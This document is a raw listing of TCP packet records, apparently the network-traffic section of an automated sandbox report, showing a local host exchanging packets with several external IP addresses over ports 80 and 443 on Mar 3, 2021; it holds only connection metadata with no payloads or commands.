Mar 3, 2021 07:32:42.116343975 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.116410971 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.117403030 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.117439032 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.117531061 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.119680882 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.119704962 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.119720936 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.119785070 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.120780945 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.120811939 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.120835066 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.120836973 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.120903969 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.122992039 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.123023033 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.123050928 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.123110056 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.125276089 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125307083 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125330925 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.125332117 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125375986 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.125799894 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125828981 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125854969 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.125885963 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.127470970 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.127500057 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.127525091 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.127580881 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.127612114 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.128535032 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.128568888 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.128588915 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.128648996 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.129657984 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.129678011 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.129745007 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.144089937 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144126892 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144150972 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144200087 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.144232035 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.144745111 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144774914 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144797087 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.144867897 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.147806883 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.147850990 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.147874117 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.147945881 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.147974014 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.148128986 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.148154020 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.148180962 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.148207903 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.149118900 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.149152040 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.149174929 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.149288893 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.149322987 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.149947882 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.149983883 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.150011063 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.150067091 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.150866985 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.150998116 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:09.904510021 CET	49754	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:10.036940098 CET	80	49754	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:10.039578915 CET	49754	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:10.040569067 CET	49754	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:10.170912981 CET	80	49754	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:10.170937061 CET	80	49754	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:10.170944929 CET	80	49754	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:10.172091007 CET	49754	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:10.173190117 CET	49754	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:10.303755045 CET	80	49754	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:10.907113075 CET	49755	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:11.040230036 CET	80	49755	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:11.040364027 CET	49755	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:11.041265011 CET	49755	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:11.172952890 CET	80	49755	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:11.174946070 CET	80	49755	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:11.174983025 CET	80	49755	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:11.175077915 CET	49755	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:11.175461054 CET	49755	80	192.168.2.4	162.88.193.70
Mar 3, 2021 07:33:11.306808949 CET	80	49755	162.88.193.70	192.168.2.4
Mar 3, 2021 07:33:17.699392080 CET	49758	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.740031958 CET	80	49758	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.742094040 CET	49758	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.742494106 CET	49758	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.783036947 CET	80	49758	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.783216000 CET	80	49758	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.783246994 CET	80	49758	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.783313990 CET	49758	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.783590078 CET	49758	80	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.826647997 CET	80	49758	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.936186075 CET	49759	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:17.981106043 CET	443	49759	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:17.981251955 CET	49759	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:18.003983021 CET	49759	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:18.044656038 CET	443	49759	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:18.044719934 CET	443	49759	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:18.044739962 CET	443	49759	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:18.044827938 CET	49759	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:18.049149990 CET	49759	443	192.168.2.4	151.101.2.133
Mar 3, 2021 07:33:18.089761972 CET	443	49759	151.101.2.133	192.168.2.4
Mar 3, 2021 07:33:18.464463949 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:18.502386093 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.502516985 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:18.785310030 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:18.824724913 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.825697899 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.825743914 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.825815916 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:18.831480026 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:18.870672941 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.870884895 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:18.921267033 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:19.422405958 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:19.461815119 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:19.474709988 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:19.474737883 CET	443	49762	104.21.19.200	192.168.2.4
Mar 3, 2021 07:33:19.474802017 CET	49762	443	192.168.2.4	104.21.19.200
Mar 3, 2021 07:33:22.518179893 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.566695929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.566780090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.567118883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.615526915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765702963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765753031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765790939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765826941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765841961 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.765872955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765887022 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.765928984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765966892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.765978098 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.766002893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.766041994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.766047955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.766068935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.766119957 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.766268015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.766307116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.766351938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.767488003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.767568111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.767621994 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.768589973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.768637896 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.768711090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.769681931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.769731045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.769787073 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.770946980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.771018028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.771100998 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.771929026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.771960974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.772015095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.773055077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.773087978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.773164988 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.774234056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.774267912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.774327040 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.775340080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.775371075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.775445938 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.776459932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.776489973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.776546001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.815748930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.815779924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.815876007 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.816268921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.816284895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.816369057 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.817425966 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.817447901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.817507982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.818579912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.818597078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.818691015 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.819680929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.820235968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.820261002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.820301056 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.821358919 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.821393967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.821427107 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.822532892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.822578907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.822596073 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.823641062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.823662996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.823704958 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.824779987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.824801922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.824839115 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.825926065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.825946093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.826004028 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.827043056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.827064037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.827100992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.828170061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.828191042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.828242064 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.829294920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.829313993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.829372883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.830434084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.830454111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.830506086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.833889961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.833915949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.833935022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.833952904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.833971024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.833993912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.834029913 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.834925890 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.834953070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.835038900 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.836086035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.836108923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.836182117 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.837177992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.837207079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.837270021 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.838315010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.838344097 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.838416100 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.839472055 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.839505911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.839576006 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.840739965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.840789080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.840874910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.841721058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.841747999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.841821909 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.842818022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.842837095 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.842927933 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.866034985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.866139889 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.866183996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.866211891 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.866283894 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.866338968 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.867320061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.867360115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.867455959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.868410110 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.868447065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.868506908 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.869950056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.870012045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.870208979 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.871187925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.871231079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.871293068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.872060061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.873254061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.873281956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.873336077 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.874294996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.874322891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.874377966 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.875993013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.876029015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.876100063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.876996994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.877048969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.877060890 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.877566099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.877619028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.877649069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.879169941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.879235983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.879309893 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.879796028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.879864931 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.879985094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.883514881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.883553982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.883584023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.884082079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.884104967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.884130001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.885198116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.885230064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.885271072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.886265993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.886290073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.886322975 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.887375116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.887413025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.887444973 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.888483047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.888526917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.888545036 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.889549971 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.889585018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.889611006 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.890642881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.890676975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.890706062 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.891635895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.891659975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.891745090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.892528057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.892555952 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.892591953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.893485069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.893503904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.893551111 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.914647102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.914676905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.914761066 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.914901018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.914927006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.914958954 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.915663958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.915690899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.915730953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.916776896 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.916804075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.916835070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.918840885 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.918868065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.918900967 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:22.919619083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.919646978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:22.919719934 CET	49770	80	192.168.2.4	172.67.179.188
